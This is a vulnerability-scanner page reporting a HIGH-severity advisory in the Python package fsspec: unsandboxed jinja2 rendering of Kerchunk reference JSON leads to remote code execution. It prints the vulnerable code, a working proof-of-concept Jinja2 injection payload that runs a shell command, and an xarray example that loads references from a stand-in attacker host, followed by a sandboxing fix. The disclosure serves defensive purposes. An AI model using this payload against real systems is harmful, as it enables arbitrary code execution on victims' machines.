pypi package report

Is fsspec safe?

1 known vulnerability, worst severity HIGH.

// reach

50 direct dependencies

12 carry known advisories, worst CRITICAL

241 packages depend on it

an advisory here reaches each of them

  • adapta
  • adlfs
Create a free accountfor every dependency path, dependent and what to upgrade
// ai model usage

No published models are known to use this package.


cvss
0.0
high

severity out of 10

epss
0.00%
low

chance of exploitation in 30 days, 22nd percentile of all CVEs

xyz score
not scored

CyberXYZ composite out of 10

fig. 01 — GHSA-27vj-qcqg-25rc, the advisory selected below

// 1 advisories

GHSA-27vj-qcqg-25rc

HIGHCVE-2026-104851
// summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.opendataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

// affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684e, 2021-03-12). Confirmed on the latest released version 2025.10.0.

// affected sinks

All in fsspec/implementations/reference.py:

| Sink | Location | Trigger | |---|---|---| | A — processreferences1.renderjinja | lines 1016-1018 | simpletemplates=False and a refs entry contains {{ | | B — processtemplates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context | | C — processgen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simpletemplates) |

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed
// proof of concept (sink c, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_')]
// end-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.
// tested on
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
// impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner)

ingests user-submitted Kerchunk URLs.

  • A workflow downloads a catalogue from a bucket whose contents have

been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

// suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with sandboxedenv().fromstring(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (class, init.globals, subclasses, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

// credit

Reported by Dany.A

// cvss v3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Checked 2026-10-06 at 02:01 UTC. The most recent advisory here was published 2026-10-05. Updated continuously from NVD, GHSA, OSV and CNA feeds.

Think a verdict here is wrong? Tell us — we respond within 2 business days.